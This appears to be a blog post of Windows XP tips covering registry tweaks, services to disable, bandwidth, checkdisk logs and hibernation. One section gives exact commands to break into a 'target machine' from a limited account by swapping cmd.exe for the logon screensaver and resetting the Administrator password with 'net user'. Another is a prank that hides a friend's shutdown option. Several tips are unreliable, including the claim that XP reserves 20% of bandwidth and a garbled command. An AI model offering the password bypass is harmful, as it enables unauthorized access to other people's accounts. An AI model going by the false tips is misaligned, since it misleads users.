Remove shutdown option from "Turn off computer"

Here is a little trick to play with your friend,which is by removing the shutdown option from start menu in their computer.
Just hack it down !!!.Follow the steps :
Go to start, then run then type "regedit" and press enter. Then try to find out the following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"


But remember every time to back up registry so that in case of any problem after applying any trick you can return back to the previous form without hampering any system.Sp always backup your registry.

Close unwanted services for Safer & faster XP

To disable unneeded startup services for a safer, faster XP, use the "Services" Admin Tool (Control Panel > Administrative Tools > Services). If you are a single user of a non-networked machine, you can disable the following items, with no ill effect.

->Alerter
->Clipbook
->Computer Browser
-> Fast User Switching
-> Human Interface Access Devices
-> Indexing Service (Slows the hard drive down)
-> Messenger
->Net Logon (unnecessary unless networked on a Domain)
->Netmeeting Remote Desktop Sharing (disabled for extra security)
-> Remote Desktop Help Session Manager (disabled for extra security)
-> Remote Procedure Call Locator
-> Remote Registry (disabled for extra security)
-> Routing & Remote Access (disabled for extra security)
-> Server
-> SSDP Discovery Service (this is for the utterly pointless "Universal P'n'P", & leaves TCP Port 5000 wide open)
-> TCP/IP NetBIOS Helper
-> Telnet (disabled for extra security)
->Universal Plug and Play Device Host
-> Upload Manager
-> Windows Time
-> Wireless Zero Configuration (for wireless networks)
-> Workstation.
Thus doing this your system performance will boost up.

Increase broadband speed

this is a simple tips for who have broad band connections. I am not sure about it in case of dial up.
1.make sure your logged on as actually "Administrator". do not log on with any account that just has administrator privileges.
2. start - run - type gpedit.msc
3. expand the "local computer policy" branch
4. expand the "administrative templates" branch
5. expand the "network branch"
6. Highlight the "QoS Packet Scheduler" in left window
7. in right window double click the "limit reservable bandwidth" setting
8. on setting tab check the "enabled" item
9. where it says "Bandwidth limit %" change it to read 0
reboot if you want to but not necessary on some systems your all done. Effect is immediate on some systems. some need re-boot. I have one machine that needs to reboot first, the others didn't. Don't know why this is.

This is more of a "counter what XP does" thing. In other words, XP seems to want to reserve 20% of the bandwidth for its self. Even with QoS disabled, even when this item is disabled. So why not use it to your advantage. To demonstrate the problem with this on stand alone machines start up a big download from a server with an FTP client. Try to find a server that doesn't max out your bandwidth. In this case you want a slow to medium speed server to demonstrate this. Let it run for a couple of minutes to get stable. The start up another download from the same server with another instance of your FTP client. You will notice that the available bandwidth is now being fought over and one of the clients download will be very slow or both will slow down when they should both be using the available bandwidth. Using this "tweak" both clients will have a fair share of the bandwidth and will not fight over the bandwidth.

hack admin password in windows XP

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.

View bootup checkdisk results

If you have missed to view bootup check disk results when your computer rebooted, you can see that with this following way.

Whether your computer rebooted with an error while you are away or you scheduled an automated check disk upon bootup, you might not get enough time to examine bootup check disk results. The good news is that Windows NT will save this information in the Events Log.So you will be able to see it later if you have missed it.Just follow the steps.

• Open Event Viewer

  Windows NT 4.x:

  Select "Start | Programs | Administrative Tools | Event Viewer" from the Start Menu.

• Select "Log | Application" from the main menu.
• Scroll through the events until you see an event with "Autochk" as the "Source".
• Double click on the selected event to view the results of previous bootup check disk operations.

Protect your files during power cut

If the power goes out while your computer is on standby, you lose whatever is in memory. If you have any unsaved documents, for example, they’re gone. With an uninterruptible power supply (UPS), however, you can prevent data loss during blackouts.

Although the blackout might last longer than the battery run time provided by the UPS, you can prevent loss, even if your computer happens to be on standby and you’re away when the power goes out. To do so, make the following settings in Power Options:

• Enable hibernation. (Click Start, click Control Panel, click Performance and Maintenance, and then click Power Options. On the Hibernate tab, select Enable Hibernate Support.
• Specific a time for the computer to switch to hibernation. This should be less than the battery run time. (On the Power Schemes tab, set a time for System Hibernate under Running On Batteries.)

Restore lost drives

If you are not able to locate your drive which was previously there, you can restore that by downloading XP_CD-DVD-Fix.zip and save this file to your hard drive. Navigate to where you saved it and double click the file to extract the contents. Locate the EXE file you extracted and double click it. A confirmation dialog will appear when the script is done. You may need to reboot for the change to take effect.

This utility is only intended for Windows^® XP. You may need Administrator level access to use this utility. If you do not have Administrator level access, the program will say it is finished, but will not have made any changes.